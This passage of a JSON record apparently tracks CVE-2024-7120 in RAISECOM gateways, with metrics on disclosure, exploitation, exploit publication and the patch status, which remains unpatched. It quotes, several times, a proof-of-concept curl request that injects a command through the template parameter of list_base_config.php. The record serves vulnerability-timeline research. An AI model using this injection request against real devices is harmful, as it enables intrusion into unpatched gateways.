"5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-06T01:00:01Z", "date_only": false, "value": "2026-11-06T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2024-7120", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}], "metrics": {"as_of": "2026-11-13T23:43:25.666Z", "anchors": {"origin": {"timestamp": "2024-07-26T05:00:07.432Z", "date_only": false, "value": "2024-07-26T05:00:07.432Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2024-07-26T05:00:07.432Z", "date_only": false, "value": "2024-07-26T05:00:07.432Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2024-08-01T10:24:33Z", "date_only": false, "value": "2024-08-01T10:24:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/2199", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "fa7d2788-fab7-467b-be0a-999c4d2916c1", "content": "CVE-2024-7120 RAISECOM Gateway Devices\n*\nWriteUp\n*\nExploit command injection\ncurl 'http:///vpn/list_base_config.php?type=mod&amp;parts=base_config&amp;template=``' \\\n  -H 'Accept: */*' \\\n  -H 'Accept-Encoding: gzip, deflate' \\\n  -H 'Connection: keep-alive'", "url": "https://t.me/proxy_bar/2199", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2024-09-21T19:13:28Z", "date_only": false, "value": "2024-09-21T19:13:28+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2024-7120", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 4976000.568, "hours": 1382.22238, "days": 57.592599166666666, "min_seconds": 4976000.568, "max_seconds": 4976000.568, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-07-26T05:00:07.432Z", "date_only": false, "value": "2024-07-26T05:00:07.432Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-09-21T19:13:28Z", "date_only": false, "value": "2024-09-21T19:13:28+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2024-7120", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit": {"available": true, "seconds": 4976000.568, "hours": 1382.22238, "days": 57.592599166666666, "min_seconds": 4976000.568, "max_seconds": 4976000.568, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-07-26T05:00:07.432Z", "date_only": false, "value": "2024-07-26T05:00:07.432Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-09-21T19:13:28Z", "date_only": false, "value": "2024-09-21T19:13:28+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2024-7120", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 537865.568, "hours": 149.40710222222222, "days": 6.225295925925925, "min_seconds": 537865.568, "max_seconds": 537865.568, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-07-26T05:00:07.432Z", "date_only": false, "value": "2024-07-26T05:00:07.432Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2024-08-01T10:24:33Z", "date_only": false, "value": "2024-08-01T10:24:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/2199", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "fa7d2788-fab7-467b-be0a-999c4d2916c1", "content": "CVE-2024-7120 RAISECOM Gateway Devices\n*\nWriteUp\n*\nExploit command injection\ncurl 'http:///vpn/list_base_config.php?type=mod&amp;parts=base_config&amp;template=``' \\\n  -H 'Accept: */*' \\\n  -H 'Accept-Encoding: gzip, deflate' \\\n  -H 'Connection: keep-alive'", "url": "https://t.me/proxy_bar/2199", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 72643398.234236, "hours": 20178.72173173222, "days": 840.7800721555093, "min_seconds": 72643398.234236, "max_seconds": 72643398.234236, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-07-26T05:00:07.432Z", "date_only": false, "value": "2024-07-26T05:00:07.432Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-13T23:43:25.666Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 67667397.666236, "hours": 18796.499351732222, "days": 783.1874729888426, "min_seconds": 67667397.666236, "max_seconds": 67667397.666236, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-09-21T19:13:28Z", "date_only": false, "value": "2024-09-21T19:13:28+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2024-7120", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}, "end": {"timestamp": "2026-11-13T23:43:25.666Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 72105532.666236, "hours": 20029.314629509998, "days": 834.5547762295834, "min_seconds": 72105532.666236, "max_seconds": 72105532.666236, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-08-01T10:24:33Z", "date_only": false, "value": "2024-08-01T10:24:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/2199", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "fa7d2788-fab7-467b-be0a-999c4d2916c1", "content": "CVE-2024-7120 RAISECOM Gateway Devices\n*\nWriteUp\n*\nExploit command injection\ncurl 'http:///vpn/list_base_config.php?type=mod&amp;parts=base_config&amp;template=``' \\\n  -H 'Accept: */*' \\\n  -H 'Accept-Encoding: gzip, deflate' \\\n  -H 'Connection: keep-alive'", "url": "https://t.me/proxy_bar/2199", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-13T23:43:25.666Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}
